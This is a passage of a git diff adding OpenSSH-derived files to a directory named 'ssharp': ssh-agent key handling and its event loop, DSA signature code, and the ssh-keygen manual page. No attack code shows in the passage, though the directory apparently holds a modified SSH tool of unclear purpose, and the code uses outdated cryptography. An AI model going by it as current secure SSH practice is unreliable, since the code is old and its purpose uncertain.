SSH and SSL have p and q swapped */ + buffer_get_bignum(&e->input, k->rsa->q); /* p */ + buffer_get_bignum(&e->input, k->rsa->p); /* q */ + + /* Generate additional parameters */ + generate_additional_parameters(k->rsa); + break; + case 2: + type_name = buffer_get_string(&e->input, NULL); + type = key_type_from_name(type_name); + xfree(type_name); + switch(type) { + case KEY_DSA: + k = key_new_private(type); + buffer_get_bignum2(&e->input, k->dsa->p); + buffer_get_bignum2(&e->input, k->dsa->q); + buffer_get_bignum2(&e->input, k->dsa->g); + buffer_get_bignum2(&e->input, k->dsa->pub_key); + buffer_get_bignum2(&e->input, k->dsa->priv_key); + break; + case KEY_RSA: + k = key_new_private(type); + buffer_get_bignum2(&e->input, k->rsa->n); + buffer_get_bignum2(&e->input, k->rsa->e); + buffer_get_bignum2(&e->input, k->rsa->d); + buffer_get_bignum2(&e->input, k->rsa->iqmp); + buffer_get_bignum2(&e->input, k->rsa->p); + buffer_get_bignum2(&e->input, k->rsa->q); + + /* Generate additional parameters */ + generate_additional_parameters(k->rsa); + break; + default: + buffer_clear(&e->input); + goto send; + } + break; + } + comment = buffer_get_string(&e->input, NULL); + if (k == NULL) { + xfree(comment); + goto send; + } + success = 1; + if (lookup_private_key(k, NULL, version) == NULL) { + if (tab->nentries == 0) + tab->identities = xmalloc(sizeof(Identity)); + else + tab->identities = xrealloc(tab->identities, + (tab->nentries + 1) * sizeof(Identity)); + tab->identities[tab->nentries].key = k; + tab->identities[tab->nentries].comment = comment; + /* Increment the number of identities. */ + tab->nentries++; + } else { + key_free(k); + xfree(comment); + } +send: + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, + success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE); +} + +/* dispatch incoming messages */ + +void +process_message(SocketEntry *e) +{ + u_int msg_len; + u_int type; + u_char *cp; + if (buffer_len(&e->input) < 5) + return; /* Incomplete message. */ + cp = (u_char *) buffer_ptr(&e->input); + msg_len = GET_32BIT(cp); + if (msg_len > 256 * 1024) { + shutdown(e->fd, SHUT_RDWR); + close(e->fd); + e->type = AUTH_UNUSED; + return; + } + if (buffer_len(&e->input) < msg_len + 4) + return; + buffer_consume(&e->input, 4); + type = buffer_get_char(&e->input); + + switch (type) { + /* ssh1 */ + case SSH_AGENTC_RSA_CHALLENGE: + process_authentication_challenge1(e); + break; + case SSH_AGENTC_REQUEST_RSA_IDENTITIES: + process_request_identities(e, 1); + break; + case SSH_AGENTC_ADD_RSA_IDENTITY: + process_add_identity(e, 1); + break; + case SSH_AGENTC_REMOVE_RSA_IDENTITY: + process_remove_identity(e, 1); + break; + case SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES: + process_remove_all_identities(e, 1); + break; + /* ssh2 */ + case SSH2_AGENTC_SIGN_REQUEST: + process_sign_request2(e); + break; + case SSH2_AGENTC_REQUEST_IDENTITIES: + process_request_identities(e, 2); + break; + case SSH2_AGENTC_ADD_IDENTITY: + process_add_identity(e, 2); + break; + case SSH2_AGENTC_REMOVE_IDENTITY: + process_remove_identity(e, 2); + break; + case SSH2_AGENTC_REMOVE_ALL_IDENTITIES: + process_remove_all_identities(e, 2); + break; + default: + /* Unknown message. Respond with failure. */ + error("Unknown message %d", type); + buffer_clear(&e->input); + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_FAILURE); + break; + } +} + +void +new_socket(int type, int fd) +{ + u_int i, old_alloc; + if (fcntl(fd, F_SETFL, O_NONBLOCK) < 0) + error("fcntl O_NONBLOCK: %s", strerror(errno)); + + if (fd > max_fd) + max_fd = fd; + + for (i = 0; i < sockets_alloc; i++) + if (sockets[i].type == AUTH_UNUSED) { + sockets[i].fd = fd; + sockets[i].type = type; + buffer_init(&sockets[i].input); + buffer_init(&sockets[i].output); + return; + } + old_alloc = sockets_alloc; + sockets_alloc += 10; + if (sockets) + sockets = xrealloc(sockets, sockets_alloc * sizeof(sockets[0])); + else + sockets = xmalloc(sockets_alloc * sizeof(sockets[0])); + for (i = old_alloc; i < sockets_alloc; i++) + sockets[i].type = AUTH_UNUSED; + sockets[old_alloc].type = type; + sockets[old_alloc].fd = fd; + buffer_init(&sockets[old_alloc].input); + buffer_init(&sockets[old_alloc].output); +} + +int +prepare_select(fd_set **fdrp, fd_set **fdwp, int *fdl) +{ + u_int i, sz; + int n = 0; + + for (i = 0; i < sockets_alloc; i++) { + switch (sockets[i].type) { + case AUTH_SOCKET: + case AUTH_CONNECTION: + n = MAX(n, sockets[i].fd); + break; + case AUTH_UNUSED: + break; + default: + fatal("Unknown socket type %d", sockets[i].type); + break; + } + } + + sz = howmany(n+1, NFDBITS) * sizeof(fd_mask); + if (*fdrp == NULL || n > *fdl) { + if (*fdrp) + xfree(*fdrp); + if (*fdwp) + xfree(*fdwp); + *fdrp = xmalloc(sz); + *fdwp = xmalloc(sz); + *fdl = n; + } + memset(*fdrp, 0, sz); + memset(*fdwp, 0, sz); + + for (i = 0; i < sockets_alloc; i++) { + switch (sockets[i].type) { + case AUTH_SOCKET: + case AUTH_CONNECTION: + FD_SET(sockets[i].fd, *fdrp); + if (buffer_len(&sockets[i].output) > 0) + FD_SET(sockets[i].fd, *fdwp); + break; + default: + break; + } + } + return (1); +} + +void +after_select(fd_set *readset, fd_set *writeset) +{ + u_int i; + int len, sock; + socklen_t slen; + char buf[1024]; + struct sockaddr_un sunaddr; + + for (i = 0; i < sockets_alloc; i++) + switch (sockets[i].type) { + case AUTH_UNUSED: + break; + case AUTH_SOCKET: + if (FD_ISSET(sockets[i].fd, readset)) { + slen = sizeof(sunaddr); + sock = accept(sockets[i].fd, + (struct sockaddr *) &sunaddr, &slen); + if (sock < 0) { + perror("accept from AUTH_SOCKET"); + break; + } + new_socket(AUTH_CONNECTION, sock); + } + break; + case AUTH_CONNECTION: + if (buffer_len(&sockets[i].output) > 0 && + FD_ISSET(sockets[i].fd, writeset)) { + do { + len = write(sockets[i].fd, + buffer_ptr(&sockets[i].output), + buffer_len(&sockets[i].output)); + if (len == -1 && (errno == EAGAIN || + errno == EINTR)) + continue; + break; + } while (1); + if (len <= 0) { + shutdown(sockets[i].fd, SHUT_RDWR); + close(sockets[i].fd); + sockets[i].type = AUTH_UNUSED; + buffer_free(&sockets[i].input); + buffer_free(&sockets[i].output); + break; + } + buffer_consume(&sockets[i].output, len); + } + if (FD_ISSET(sockets[i].fd, readset)) { + do { + len = read(sockets[i].fd, buf, sizeof(buf)); + if (len == -1 && (errno == EAGAIN || + errno == EINTR)) + continue; + break; + } while (1); + if (len <= 0) { + shutdown(sockets[i].fd, SHUT_RDWR); + close(sockets[i].fd); + sockets[i].type = AUTH_UNUSED; + buffer_free(&sockets[i].input); + buffer_free(&sockets[i].output); + break; + } + buffer_append(&sockets[i].input, buf, len); + process_message(&sockets[i]); + } + break; + default: + fatal("Unknown type %d", sockets[i].type); + } +} + +void +check_parent_exists(int sig) +{ + int save_errno = errno; + + if (parent_pid != -1 && kill(parent_pid, 0) < 0) { + /* printf("Parent has died - Authentication agent exiting.\n"); */ + exit(1); + } + signal(SIGALRM, check_parent_exists); + alarm(10); + errno = save_errno; +} + +void +cleanup_socket(void) +{ + if (socket_name[0]) + unlink(socket_name); + if (socket_dir[0]) + rmdir(socket_dir); +} + +void +cleanup_exit(int i) +{ + cleanup_socket(); + exit(i); +} + +void +cleanup_handler(int sig) +{ + cleanup_socket(); + _exit(2); +} + +void +usage(void) +{ + fprintf(stderr, "ssh-agent version %s\n", SSH_VERSION); + fprintf(stderr, "Usage: %s [-c | -s] [-k] [command {args...]]\n", + __progname); + exit(1); +} + +int +main(int ac, char **av) +{ + int sock, c_flag = 0, k_flag = 0, s_flag = 0, ch; + struct sockaddr_un sunaddr; +#ifdef HAVE_SETRLIMIT + struct rlimit rlim; +#endif + pid_t pid; + char *shell, *format, *pidstr, pidstrbuf[1 + 3 * sizeof pid]; + extern int optind; + fd_set *readsetp = NULL, *writesetp = NULL; + + SSLeay_add_all_algorithms(); + + __progname = get_progname(av[0]); + init_rng(); + seed_rng(); + +#ifdef __GNU_LIBRARY__ + while ((ch = getopt(ac, av, "+cks")) != -1) { +#else /* __GNU_LIBRARY__ */ + while ((ch = getopt(ac, av, "cks")) != -1) { +#endif /* __GNU_LIBRARY__ */ + switch (ch) { + case 'c': + if (s_flag) + usage(); + c_flag++; + break; + case 'k': + k_flag++; + break; + case 's': + if (c_flag) + usage(); + s_flag++; + break; + default: + usage(); + } + } + ac -= optind; + av += optind; + + if (ac > 0 && (c_flag || k_flag || s_flag)) + usage(); + + if (ac == 0 && !c_flag && !k_flag && !s_flag) { + shell = getenv("SHELL"); + if (shell != NULL && strncmp(shell + strlen(shell) - 3, "csh", 3) == 0) + c_flag = 1; + } + if (k_flag) { + pidstr = getenv(SSH_AGENTPID_ENV_NAME); + if (pidstr == NULL) { + fprintf(stderr, "%s not set, cannot kill agent\n", + SSH_AGENTPID_ENV_NAME); + exit(1); + } + pid = atoi(pidstr); + if (pid < 1) { + fprintf(stderr, "%s=\"%s\", which is not a good PID\n", + SSH_AGENTPID_ENV_NAME, pidstr); + exit(1); + } + if (kill(pid, SIGTERM) == -1) { + perror("kill"); + exit(1); + } + format = c_flag ? "unsetenv %s;\n" : "unset %s;\n"; + printf(format, SSH_AUTHSOCKET_ENV_NAME); + printf(format, SSH_AGENTPID_ENV_NAME); + printf("echo Agent pid %d killed;\n", pid); + exit(0); + } + parent_pid = getpid(); + + /* Create private directory for agent socket */ + strlcpy(socket_dir, "/tmp/ssh-XXXXXXXX", sizeof socket_dir); + if (mkdtemp(socket_dir) == NULL) { + perror("mkdtemp: private socket dir"); + exit(1); + } + snprintf(socket_name, sizeof socket_name, "%s/agent.%d", socket_dir, + parent_pid); + + /* + * Create socket early so it will exist before command gets run from + * the parent. + */ + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) { + perror("socket"); + cleanup_exit(1); + } + memset(&sunaddr, 0, sizeof(sunaddr)); + sunaddr.sun_family = AF_UNIX; + strlcpy(sunaddr.sun_path, socket_name, sizeof(sunaddr.sun_path)); + if (bind(sock, (struct sockaddr *) & sunaddr, sizeof(sunaddr)) < 0) { + perror("bind"); + cleanup_exit(1); + } + if (listen(sock, 5) < 0) { + perror("listen"); + cleanup_exit(1); + } + + /* + * Fork, and have the parent execute the command, if any, or present + * the socket data. The child continues as the authentication agent. + */ + pid = fork(); + if (pid == -1) { + perror("fork"); + exit(1); + } + if (pid != 0) { /* Parent - execute the given command. */ + close(sock); + snprintf(pidstrbuf, sizeof pidstrbuf, "%d", pid); + if (ac == 0) { + format = c_flag ? "setenv %s %s;\n" : "%s=%s; export %s;\n"; + printf(format, SSH_AUTHSOCKET_ENV_NAME, socket_name, + SSH_AUTHSOCKET_ENV_NAME); + printf(format, SSH_AGENTPID_ENV_NAME, pidstrbuf, + SSH_AGENTPID_ENV_NAME); + printf("echo Agent pid %d;\n", pid); + exit(0); + } + if (setenv(SSH_AUTHSOCKET_ENV_NAME, socket_name, 1) == -1 || + setenv(SSH_AGENTPID_ENV_NAME, pidstrbuf, 1) == -1) { + perror("setenv"); + exit(1); + } + execvp(av[0], av); + perror(av[0]); + exit(1); + } + close(0); + close(1); + close(2); + +#ifdef HAVE_SETRLIMIT + /* deny core dumps, since memory contains unencrypted private keys */ + rlim.rlim_cur = rlim.rlim_max = 0; + if (setrlimit(RLIMIT_CORE, &rlim) < 0) { + perror("setrlimit rlimit_core failed"); + cleanup_exit(1); + } +#endif + if (setsid() == -1) { + perror("setsid"); + cleanup_exit(1); + } + if (atexit(cleanup_socket) < 0) { + perror("atexit"); + cleanup_exit(1); + } + new_socket(AUTH_SOCKET, sock); + if (ac > 0) { + signal(SIGALRM, check_parent_exists); + alarm(10); + } + idtab_init(); + signal(SIGINT, SIG_IGN); + signal(SIGPIPE, SIG_IGN); + signal(SIGHUP, cleanup_handler); + signal(SIGTERM, cleanup_handler); + while (1) { + prepare_select(&readsetp, &writesetp, &max_fd); + if (select(max_fd + 1, readsetp, writesetp, NULL, NULL) < 0) { + if (errno == EINTR) + continue; + exit(1); + } + after_select(readsetp, writesetp); + } + /* NOTREACHED */ +} diff --git a/other/ssharp/ssh-dss.c b/other/ssharp/ssh-dss.c new file mode 100644 index 0000000..adc8f98 --- /dev/null +++ b/other/ssharp/ssh-dss.c @@ -0,0 +1,217 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-dss.c,v 1.6 2001/02/08 19:30:52 itojun Exp $"); + +#include +#include + +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "compat.h" +#include "log.h" +#include "key.h" +#include "ssh-dss.h" + +#define INTBLOB_LEN 20 +#define SIGBLOB_LEN (2*INTBLOB_LEN) + +int +ssh_dss_sign( + Key *key, + u_char **sigp, int *lenp, + u_char *data, int datalen) +{ + u_char *digest; + u_char *ret; + DSA_SIG *sig; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + u_int rlen; + u_int slen; + u_int len, dlen; + u_char sigblob[SIGBLOB_LEN]; + Buffer b; + + if (key == NULL || key->type != KEY_DSA || key->dsa == NULL) { + error("ssh_dss_sign: no DSA key"); + return -1; + } + dlen = evp_md->md_size; + digest = xmalloc(dlen); + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, data, datalen); + EVP_DigestFinal(&md, digest, NULL); + + sig = DSA_do_sign(digest, dlen, key->dsa); + if (sig == NULL) { + fatal("ssh_dss_sign: cannot sign"); + } + memset(digest, 0, dlen); + xfree(digest); + + rlen = BN_num_bytes(sig->r); + slen = BN_num_bytes(sig->s); + if (rlen > INTBLOB_LEN || slen > INTBLOB_LEN) { + error("bad sig size %d %d", rlen, slen); + DSA_SIG_free(sig); + return -1; + } + debug("sig size %d %d", rlen, slen); + + memset(sigblob, 0, SIGBLOB_LEN); + BN_bn2bin(sig->r, sigblob+ SIGBLOB_LEN - INTBLOB_LEN - rlen); + BN_bn2bin(sig->s, sigblob+ SIGBLOB_LEN - slen); + DSA_SIG_free(sig); + + if (datafellows & SSH_BUG_SIGBLOB) { + debug("datafellows"); + ret = xmalloc(SIGBLOB_LEN); + memcpy(ret, sigblob, SIGBLOB_LEN); + if (lenp != NULL) + *lenp = SIGBLOB_LEN; + if (sigp != NULL) + *sigp = ret; + } else { + /* ietf-drafts */ + buffer_init(&b); + buffer_put_cstring(&b, "ssh-dss"); + buffer_put_string(&b, sigblob, SIGBLOB_LEN); + len = buffer_len(&b); + ret = xmalloc(len); + memcpy(ret, buffer_ptr(&b), len); + buffer_free(&b); + if (lenp != NULL) + *lenp = len; + if (sigp != NULL) + *sigp = ret; + } + return 0; +} +int +ssh_dss_verify( + Key *key, + u_char *signature, int signaturelen, + u_char *data, int datalen) +{ + Buffer b; + u_char *digest; + DSA_SIG *sig; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + u_char *sigblob; + char *txt; + u_int len, dlen; + int rlen; + int ret; + + if (key == NULL || key->type != KEY_DSA || key->dsa == NULL) { + error("ssh_dss_verify: no DSA key"); + return -1; + } + + if (!(datafellows & SSH_BUG_SIGBLOB) && + signaturelen == SIGBLOB_LEN) { + datafellows |= ~SSH_BUG_SIGBLOB; + log("autodetect SSH_BUG_SIGBLOB"); + } else if ((datafellows & SSH_BUG_SIGBLOB) && + signaturelen != SIGBLOB_LEN) { + log("autoremove SSH_BUG_SIGBLOB"); + datafellows &= ~SSH_BUG_SIGBLOB; + } + + debug("len %d datafellows %d", signaturelen, datafellows); + + /* fetch signature */ + if (datafellows & SSH_BUG_SIGBLOB) { + sigblob = signature; + len = signaturelen; + } else { + /* ietf-drafts */ + char *ktype; + buffer_init(&b); + buffer_append(&b, (char *) signature, signaturelen); + ktype = buffer_get_string(&b, NULL); + if (strcmp("ssh-dss", ktype) != 0) { + error("ssh_dss_verify: cannot handle type %s", ktype); + buffer_free(&b); + return -1; + } + sigblob = (u_char *)buffer_get_string(&b, &len); + rlen = buffer_len(&b); + if(rlen != 0) { + error("remaining bytes in signature %d", rlen); + buffer_free(&b); + return -1; + } + buffer_free(&b); + xfree(ktype); + } + + if (len != SIGBLOB_LEN) { + fatal("bad sigbloblen %d != SIGBLOB_LEN", len); + } + + /* parse signature */ + sig = DSA_SIG_new(); + sig->r = BN_new(); + sig->s = BN_new(); + BN_bin2bn(sigblob, INTBLOB_LEN, sig->r); + BN_bin2bn(sigblob+ INTBLOB_LEN, INTBLOB_LEN, sig->s); + + if (!(datafellows & SSH_BUG_SIGBLOB)) { + memset(sigblob, 0, len); + xfree(sigblob); + } + + /* sha1 the data */ + dlen = evp_md->md_size; + digest = xmalloc(dlen); + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, data, datalen); + EVP_DigestFinal(&md, digest, NULL); + + ret = DSA_do_verify(digest, dlen, sig, key->dsa); + + memset(digest, 0, dlen); + xfree(digest); + DSA_SIG_free(sig); + + switch (ret) { + case 1: + txt = "correct"; + break; + case 0: + txt = "incorrect"; + break; + case -1: + default: + txt = "error"; + break; + } + debug("ssh_dss_verify: signature %s", txt); + return ret; +} diff --git a/other/ssharp/ssh-dss.h b/other/ssharp/ssh-dss.h new file mode 100644 index 0000000..0e6a20a --- /dev/null +++ b/other/ssharp/ssh-dss.h @@ -0,0 +1,41 @@ +/* $OpenBSD: ssh-dss.h,v 1.3 2001/01/29 01:58:18 niklas Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef DSA_H +#define DSA_H + +int +ssh_dss_sign( + Key *key, + u_char **sigp, int *lenp, + u_char *data, int datalen); + +int +ssh_dss_verify( + Key *key, + u_char *signature, int signaturelen, + u_char *data, int datalen); + +#endif diff --git a/other/ssharp/ssh-keygen.0 b/other/ssharp/ssh-keygen.0 new file mode 100644 index 0000000..aa04b02 --- /dev/null +++ b/other/ssharp/ssh-keygen.0 @@ -0,0 +1,170 @@ + +SSH-KEYGEN(1) System Reference Manual SSH-KEYGEN(1) + +NAME + ssh-keygen - authentication key generation, management and conversion + +SYNOPSIS + ssh-keygen [-q] [-b bits] [-t type] [-N new_passphrase] [-C comment] [-f + output_keyfile] + ssh-keygen -p [-P old_passphrase] [-N new_passphrase] [-f keyfile] + ssh-keygen -i [-f input_keyfile] + ssh-keygen -e [-f input_keyfile] + ssh-keygen -y [-f input_keyfile] + ssh-keygen -c [-P passphrase] [-C comment] [-f keyfile] + ssh-keygen -l [-f input_keyfile] + ssh-keygen -B [-f input_keyfile] + +DESCRIPTION + ssh-keygen generates, manages and converts authentication keys for + ssh(1). ssh-keygen defaults to generating a RSA1 key for use by SSH proM-- + tocol version 1. specifying the -t option allows you to create a key for + use by SSH protocol version 2. + + Normally each user wishing to use SSH with RSA or DSA authentication runs + this once to create the authentication key in $HOME/.ssh/identity, + $HOME/.ssh/id_dsa or $HOME/.ssh/id_rsa. Additionally, the system adminisM-- + trator may use this to generate host keys, as seen in /etc/rc. + + Normally this program generates the key and asks for a file in which to + store the private key. The public key is stored in a file with the same + name but ``.pub'' appended. The program also asks for a passphrase. The + passphrase may be empty to indicate no passphrase (host keys must have an + empty passphrase), or it may be a string of arbitrary length. Good + passphrases are 10-30 characters long and are not simple sentences or + otherwise easily guessable (English prose has only 1-2 bits of entropy + per word, and provides very bad passphrases). The passphrase can be + changed later by using the -p option. + + There is no way to recover a lost passphrase. If the passphrase is lost + or forgotten, you will have to generate a new key and copy the correM-- + sponding public key to other machines. + + For RSA1 keys, there is also a comment field in the key file that is only + for convenience to the user to help identify the key. The comment can + tell what the key is for, or whatever is useful. The comment is initialM-- + ized to ``user@host'' when the key is created, but can be changed using + the -c option. + + After a key is generated, instructions below detail where the keys should + be placed to be activated. + + The options are as follows: + + -b bits + Specifies the number of bits in the key to create. Minimum is + 512 bits. Generally 1024 bits is considered sufficient, and key + sizes above that no longer improve security but make things slowM-- + er. The default is 1024 bits. + + -c Requests changing the comment in the private and public key + files. The program will prompt for the file containing the priM-- + vate keys, for passphrase if the key has one, and for the new + comment. + + -e This option will read a private or public OpenSSH key file and + print the key in a `SECSH Public Key File Format' to stdout. + This option allows exporting keys for use by several commercial + SSH implementations. + + -f Specifies the filename of the key file. + + -i This option will read an unencrypted private (or public) key file + in SSH2-compatible format and print an OpenSSH compatible private + (or public) key to stdout. ssh-keygen also reads the `SECSH + Public Key File Format'. This option allows importing keys from + several commercial SSH implementations. + + -l Show fingerprint of specified private or public key file. + + -p Requests changing the passphrase of a private key file instead of + creating a new private key. The program will prompt for the file + containing the private key, for the old passphrase, and twice for + the new passphrase. + + -q Silence ssh-keygen. Used by /etc/rc when creating a new key. + + -y This option will read a private OpenSSH format file and print an + OpenSSH public key to stdout. + + -t type + Specifies the type of the key to create. The possible values are + ``rsa1'' for protocol version 1 and ``rsa'' or ``dsa'' for protoM-- + col version 2. The default is ``rsa1''. + + -B Show the bubblebabble digest of specified private or public key + file. + + -C comment + Provides the new comment. + + -N new_passphrase + Provides the new passphrase. + + -P passphrase + Provides the (old) passphrase. + +FILES + $HOME/.ssh/identity + Contains the protocol version 1 RSA authentication identity of + the user. This file should not be readable by anyone but the usM-- + er. It is possible to specify a passphrase when generating the + key; that passphrase will be used to encrypt the private part of + this file using 3DES. This file is not automatically accessed by + ssh-keygen but it is offered as the default file for the private + key. sshd(8) will read this file when a login attempt is made. + + $HOME/.ssh/identity.pub + Contains the protocol version 1 RSA public key for authenticaM-- + tion. The contents of this file should be added to + $HOME/.ssh/authorized_keys on all machines where you wish to log + in using RSA authentication. There is no need to keep the conM-- + tents of this file secret. + + $HOME/.ssh/id_dsa + Contains the protocol version 2 DSA authentication identity of + the user. This file should not be readable by anyone but the usM-- + er. It is possible to specify a passphrase when generating the + key; that passphrase will be used to encrypt the private part of + this file using 3DES. This file is not automatically accessed by + ssh-keygen but it is offered as the default file for the private + + key. sshd(8) will read this file when a login attempt is made. + + $HOME/.ssh/id_dsa.pub + Contains the protocol version 2 DSA public key for authenticaM-- + tion. The contents of this file should be added to + $HOME/.ssh/authorized_keys2 on all machines where you wish to log + in using public key authentication. There is no need to keep the + contents of this file secret. + + $HOME/.ssh/id_rsa + Contains the protocol version 2 RSA authentication identity of + the user. This file should not be readable by anyone but the usM-- + er. It is possible to specify a passphrase when generating the + key; that passphrase will be used to encrypt the private part of + this file using 3DES. This file is not automatically accessed by + ssh-keygen but it is offered as the default file for the private + key. sshd(8) will read this file when a login attempt is made. + + $HOME/.ssh/id_rsa.pub + Contains the protocol version 2 RSA public key for authenticaM-- + tion. The contents of this file should be added to + $HOME/.ssh/authorized_keys2 on all machines where you wish to log + in using public key authentication. There is no need to keep the + contents of this file secret. + +AUTHORS + OpenSSH is a derivative of the original and free ssh 1.2.12 release by + Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo + de Raadt and Dug Song removed many bugs, re-added newer features and creM-- + ated OpenSSH. Markus Friedl contributed the support for SSH protocol + versions 1.5 and 2.0. + +SEE ALSO + ssh(1), ssh-add(1), ssh-agent(1), sshd(8) + + J. Galbraith, and R. Thayer, SECSH Public Key File Format, draft-ietf- + secsh-publickeyfile-01.txt, March 2001, work in progress material. + +BSD Experimental September 25, 1999 3 diff --git a/other/ssharp/ssh-keygen.1 b/other/ssharp/ssh-keygen.1 new file mode 100644 index 0000000..371fc5f --- /dev/null +++ b/other/ssharp/ssh-keygen.1 @@ -0,0 +1,280 @@ +.\" $OpenBSD: ssh-keygen.1,v 1.40 2001/04/23 21:57:07 markus Exp $ +.\" +.\" -*- nroff -*- +.\" +.\" Author: Tatu Ylonen +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" As far as I am concerned, the code I have written for this software +.\" can be used freely for any purpose. Any derived versions of this +.\" software must be clearly marked as such, and if the derived work is +.\" incompatible with the protocol description in the RFC file, it must be +.\" called by a name other than "ssh" or "Secure Shell". +.\" +.\" +.\" Copyright (c) 1999,2000 Markus Friedl. All rights reserved. +.\" Copyright (c) 1999 Aaron Campbell. All rights reserved. +.\" Copyright (c) 1999 Theo de Raadt. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.Dd September 25, 1999 +.Dt SSH-KEYGEN 1 +.Os +.Sh NAME +.Nm ssh-keygen +.Nd authentication key generation, management and conversion +.Sh SYNOPSIS +.Nm ssh-keygen +.Op Fl q +.Op Fl b Ar bits +.Op Fl t Ar type +.Op Fl N Ar new_passphrase +.Op Fl C Ar comment +.Op Fl f Ar output_keyfile +.Nm ssh-keygen +.Fl p +.Op Fl P Ar old_passphrase +.Op Fl N Ar new_passphrase +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl i +.Op Fl f Ar input_keyfile +.Nm ssh-keygen +.Fl e +.Op Fl f Ar input_keyfile +.Nm ssh-keygen +.Fl y +.Op Fl f Ar input_keyfile +.Nm ssh-keygen +.Fl c +.Op Fl P Ar passphrase +.Op Fl C Ar comment +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl l +.Op Fl f Ar input_keyfile +.Nm ssh-keygen +.Fl B +.Op Fl f Ar input_keyfile +.Sh DESCRIPTION +.Nm +generates, manages and converts authentication keys for +.Xr ssh 1 . +.Nm +defaults to generating a RSA1 key for use by SSH protocol version 1. +specifying the +.Fl t +option allows you to create a key for use by SSH protocol version 2. +.Pp +Normally each user wishing to use SSH +with RSA or DSA authentication runs this once to create the authentication +key in +.Pa $HOME/.ssh/identity , +.Pa $HOME/.ssh/id_dsa +or +.Pa $HOME/.ssh/id_rsa . +Additionally, the system administrator may use this to generate host keys, +as seen in +.Pa /etc/rc . +.Pp +Normally this program generates the key and asks for a file in which +to store the private key. +The public key is stored in a file with the same name but +.Dq .pub +appended. +The program also asks for a passphrase. +The passphrase 